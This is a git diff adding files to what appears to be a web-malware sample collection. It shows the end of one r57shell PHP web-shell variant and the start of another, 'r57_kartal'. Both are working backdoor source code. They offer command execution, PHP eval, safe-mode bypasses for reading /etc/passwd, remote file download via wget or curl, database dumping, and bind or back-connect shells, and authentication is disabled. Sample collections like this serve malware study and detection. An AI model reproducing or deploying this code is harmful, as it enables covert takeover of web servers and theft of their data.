dump file"; } + } +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; +if(!$safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text2'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.$lang[$language.'_text28'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text42'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.$table_end1.$fe; +if($safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text57'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text67'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.$table_end1.$fe; +} +if(!$safe_mode){ +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.$lang[$language.'_text7'].$table_up2.$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text54'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text76'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text32'].$table_up2.$font; +echo "<div align=center><textarea name=php_eval cols=100 rows=3>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</font>"; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.$lang[$language.'_text33'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.$lang[$language.'_text34'].$table_up2.$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text35'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text85'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.$lang[$language.'_text5'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.$table_end1.$fe; +} +if(!$safe_mode&&!$windows){ +echo $fs.$table_up1.$lang[$language.'_text15'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); +echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.$table_end1.$fe; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +echo $table_up1.$lang[$language.'_text82'].$table_up2.$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text77']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>","<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option></select>"); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text78'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1')); +echo sr(45,"<b>".$lang[$language.'_text79'].$arrow."</b>",in('checkbox','sc id=sc',0,'1')); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text40']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>","<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option></select>"); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1')); +echo sr(45,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text83']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>","<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option><option>Oracle</option></select>"); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center><textarea cols=35 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></table>"; +} +if(!$safe_mode&&!$windows){ +echo $table_up1.$lang[$language.'_text81'].$table_up2.$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'jade.va.us.dal.net')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></table>"; +} +echo $table_up3."<div align=center><font face=Verdana size=-2><b>[ r57shell - Modification By iFX | version ".$version." ]</b></font></div></td></tr></table>".$f; +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/r57_kartal.txt b/web-malware-collection-master/Backdoors/PHP/r57_kartal.txt new file mode 100755 index 0000000..3b749b7 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/r57_kartal.txt @@ -0,0 +1,1883 @@ +<?php +/******************************************************************************************************/ +/* +/* +/* ssssssss pppp pppp yyyyyy yyyyyy gggg gggg rrrr rrrr uuuu uuuu pppp pppp +/* ss pppp pp yy yy gg gggg rrrr uu uu pppp pp +/* ssssss pp pp yy yy gg gg rr uu uu pp pp +/* ss pp pp yy yy gg gg rr uu uuuu pp pp +/* ssssssss pppppppp yy gggggggg rrrrrrrr uuuu uuuu pppppppp +/* pp yy gg pp +/* pppppp yyyyyy gggggg pppppp +/* +/* kartal_567@hotmail.com[KaRTaL] +/* +/* r57shell.php - &#1089;&#1082;&#1088;&#1080;&#1087;&#1090; &#1085;&#1072; &#1087;&#1093;&#1087; &#1087;&#1086;&#1079;&#1074;&#1086;&#1083;&#1103;&#1102;&#1097;&#1080;&#1081; &#1074;&#1072;&#1084; &#1074;&#1099;&#1087;&#1086;&#1083;&#1085;&#1103;&#1090;&#1100; &#1096;&#1077;&#1083;&#1083; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099; &#1085;&#1072; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1077; &#1095;&#1077;&#1088;&#1077;&#1079; &#1073;&#1088;&#1072;&#1091;&#1079;&#1077;&#1088; +/* &#1042;&#1077;&#1088;&#1089;&#1080;&#1103;: 1.23 +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/******************************************************************************************************/ + +/* ~~~ &#1053;&#1072;&#1089;&#1090;&#1088;&#1086;&#1081;&#1082;&#1080; ~~~ */ +error_reporting(0); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +$version = "q1w2e3r4"; +if(version_compare(phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_SERVER as $k=>$v) + { + $_SERVER[$k] = stripslashes($v); + } + } + +/* ~~~ &#1040;&#1091;&#1090;&#1077;&#1085;&#1090;&#1080;&#1092;&#1080;&#1082;&#1072;&#1094;&#1080;&#1103; ~~~ */ + +// $auth = 1; - &#1040;&#1091;&#1090;&#1077;&#1085;&#1090;&#1080;&#1092;&#1080;&#1082;&#1072;&#1094;&#1080;&#1103; &#1074;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085;&#1072; +// $auth = 0; - &#1040;&#1091;&#1090;&#1077;&#1085;&#1090;&#1080;&#1092;&#1080;&#1082;&#1072;&#1094;&#1080;&#1103; &#1074;&#1099;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085;&#1072; +$auth = 0; + +// &#1051;&#1086;&#1075;&#1080;&#1085; &#1080; &#1087;&#1072;&#1088;&#1086;&#1083;&#1100; &#1076;&#1083;&#1103; &#1076;&#1086;&#1089;&#1090;&#1091;&#1087;&#1072; &#1082; &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;&#1091; +// &#1053;&#1045; &#1047;&#1040;&#1041;&#1059;&#1044;&#1068;&#1058;&#1045; &#1057;&#1052;&#1045;&#1053;&#1048;&#1058;&#1068; &#1055;&#1045;&#1056;&#1045;&#1044; &#1056;&#1040;&#1047;&#1052;&#1045;&#1065;&#1045;&#1053;&#1048;&#1045;&#1052; &#1053;&#1040; &#1057;&#1045;&#1056;&#1042;&#1045;&#1056;&#1045;!!! +$name='teufel'; // &#1083;&#1086;&#1075;&#1080;&#1085; &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1103; +$pass='spyms'; // &#1087;&#1072;&#1088;&#1086;&#1083;&#1100; &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1103; + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass) + { + header('WWW-Authenticate: Basic realm="shell"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=http://www.spygrup.org>www.spygrup.org</a> : Access Denied</b>"); + } +} +$head = '<!-- &#1047;&#1076;&#1088;&#1072;&#1074;&#1089;&#1090;&#1074;&#1091;&#1081; &#1042;&#1072;&#1089;&#1103; --> +<html> +<head> +<title>shell</title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> + +<STYLE> +tr { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +td { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +.table1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +BACKGROUND-COLOR: #D4D0C8; +} +.td1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +font: 7pt Verdana; +} +.tr1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +} +table { +BORDER-RIGHT: #eeeeee 1px outset; +BORDER-TOP: #eeeeee 1px outset; +BORDER-LEFT: #eeeeee 1px outset; +BORDER-BOTTOM: #eeeeee 1px outset; +BACKGROUND-COLOR: #D4D0C8; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +submit { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT: buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +BACKGROUND-COLOR: #e4e0d8; +width: 30%; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: Fixedsys bold; +} +BODY { +margin-top: 1px; +margin-right: 1px; +margin-bottom: 1px; +margin-left: 1px; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE>'; +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if ($_POST['cmd']=="db_query") + { + echo $head; + switch($_POST['db']) + { + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @mysql_query($query,$db); + $error = @mysql_error($db); + if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } + else { + if (@mysql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mysql_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + else { if(($rows = @mysql_affected_rows($db))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } + } + @mysql_free_result($res); + } + } + @mysql_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @mssql_query($query,$db); + if (@mssql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mssql_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }} */ + @mssql_free_result($res); + } + } + @mssql_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @pg_query($db,$query); + $error = @pg_errormessage($db); + if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } + else { + if (@pg_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @pg_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + else { if(($rows = @pg_affected_rows($res))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } + } + @pg_free_result($res); + } + } + @pg_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>"; + break; + case 'Oracle': + $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); + if(($error = @ocierror())) { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>"; } + else + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5) { + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $stat = @ociparse($db, $query); + @ociexecute($stat); + if(($error = @ocierror())) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>"; } + else + { + $rowcount = @ocirowcount($stat); + if($rowcount != 0) {echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";} + else { + echo "<table width=100%><tr>"; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".htmlspecialchars(@ocicolumnname($stat, $j))."&nbsp;</b></font></td>"; } + echo "</tr>"; + while(ocifetch($stat)) + { + echo "<tr>"; + for ($j = 1; $j <= 